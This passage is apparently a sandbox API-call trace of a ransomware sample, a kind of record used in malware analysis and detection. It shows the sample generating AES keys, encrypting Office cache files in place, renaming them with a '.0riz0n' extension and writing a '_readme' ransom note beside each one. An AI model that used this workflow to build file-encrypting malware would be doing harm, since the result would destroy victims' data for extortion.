Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0060.308] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0060.308] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0060.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0060.309] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0060.309] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x38d60f50, dwHighDateTime=0x1d59598)) returned 1 [0060.309] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0060.309] NtClose (Handle=0x1f0) returned 0x0 [0060.310] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0060.310] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0060.310] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0060.310] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2830020) returned 1 [0060.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0060.321] CryptDestroyKey (hKey=0x459b38) returned 1 [0060.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0060.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0060.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0060.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.321] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0060.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0060.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0060.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0060.321] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0060.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0060.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.321] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0060.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0060.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0060.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.322] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0060.322] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0060.322] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0060.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0060.322] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xecdfa490, dwHighDateTime=0x1d301be)) returned 1 [0060.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.322] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0060.322] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0060.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0060.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0060.323] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0060.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0060.323] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0060.323] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0060.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x640) returned 0xef94d8 [0060.323] ReadFile (in: hFile=0x1f0, lpBuffer=0xef94d8, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xef94d8*, lpNumberOfBytesRead=0x17af85c*=0x61d, lpOverlapped=0x0) returned 1 [0060.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x640) returned 0xef3f88 [0060.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef94d8) returned 1 [0060.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x640) returned 0xef94d8 [0060.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0060.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef3f88) returned 1 [0060.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa40) returned 0x1acf180 [0060.327] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x61d, dwBufLen=0xa1d | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x620) returned 1 [0060.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0060.327] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0060.327] WriteFile (in: hFile=0x1f0, lpBuffer=0xef94d8*, nNumberOfBytesToWrite=0x61d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xef94d8*, lpNumberOfBytesWritten=0x17af85c*=0x61d, lpOverlapped=0x0) returned 1 [0060.327] FlushFileBuffers (hFile=0x1f0) returned 1 [0060.331] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0060.331] NtClose (Handle=0x1f0) returned 0x0 [0060.332] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.0riz0n")) returned 1 [0060.333] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0060.333] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0060.333] GetLastError () returned 0x2 [0060.333] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6508, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0060.333] GetLastError () returned 0x2 [0060.333] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0060.334] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0060.334] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0060.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x7) returned 0x30d278 [0060.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0060.335] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d278) returned 1 [0060.335] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0060.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0060.335] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e5, lpOverlapped=0x0) returned 1 [0060.335] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x38d870b0, dwHighDateTime=0x1d59598)) returned 1 [0060.335] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0060.335] NtClose (Handle=0x1f0) returned 0x0 [0060.336] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0060.336] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0060.336] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0060.336] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef94d8) returned 1 [0060.336] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0060.336] CryptDestroyKey (hKey=0x459b38) returned 1 [0060.336] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0060.336] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0060.336] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0060.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.336] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8)) returned 1 [0060.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0060.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0060.337] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0060.337] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0060.337] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0060.337] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.337] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8)) returned 1 [0060.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0060.337] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0060.337] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.337] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8)) returned 1 [0060.337] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0060.338] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0060.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.338] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.338] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0060.338] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xee38cbf0, dwHighDateTime=0x1d301be)) returned 1 [0060.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.338] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0060.338] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0060.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0060.338] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0060.338] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0060.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0060.339] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0060.339] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0060.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x900) returned 0x1acf180 [0060.339] ReadFile (in: hFile=0x1f0, lpBuffer=0x1acf180, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1acf180*, lpNumberOfBytesRead=0x17af85c*=0x8f8, lpOverlapped=0x0) returned 1 [0060.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x900) returned 0xf47748 [0060.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0060.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x900) returned 0x1acf180 [0060.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0060.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf47748) returned 1 [0060.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd00) returned 0xf47748 [0060.341] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf47748*, pdwDataLen=0x17af858*=0x8f8, dwBufLen=0xcf8 | out: pbData=0xf47748*, pdwDataLen=0x17af858*=0x900) returned 1 [0060.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf47748) returned 1 [0060.341] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0060.341] WriteFile (in: hFile=0x1f0, lpBuffer=0x1acf180*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1acf180*, lpNumberOfBytesWritten=0x17af85c*=0x8f8, lpOverlapped=0x0) returned 1 [0060.341] FlushFileBuffers (hFile=0x1f0) returned 1 [0060.344] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0060.344] NtClose (Handle=0x1f0) returned 0x0 [0060.345] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0060.345] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0060.345] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0060.345] GetLastError () returned 0x2 [0060.345] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6528, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0060.345] GetLastError () returned 0x2 [0060.345] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0060.346] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0060.346] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0060.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xf) returned 0x30d630 [0060.347] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2ed, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2ed, lpOverlapped=0x0) returned 1 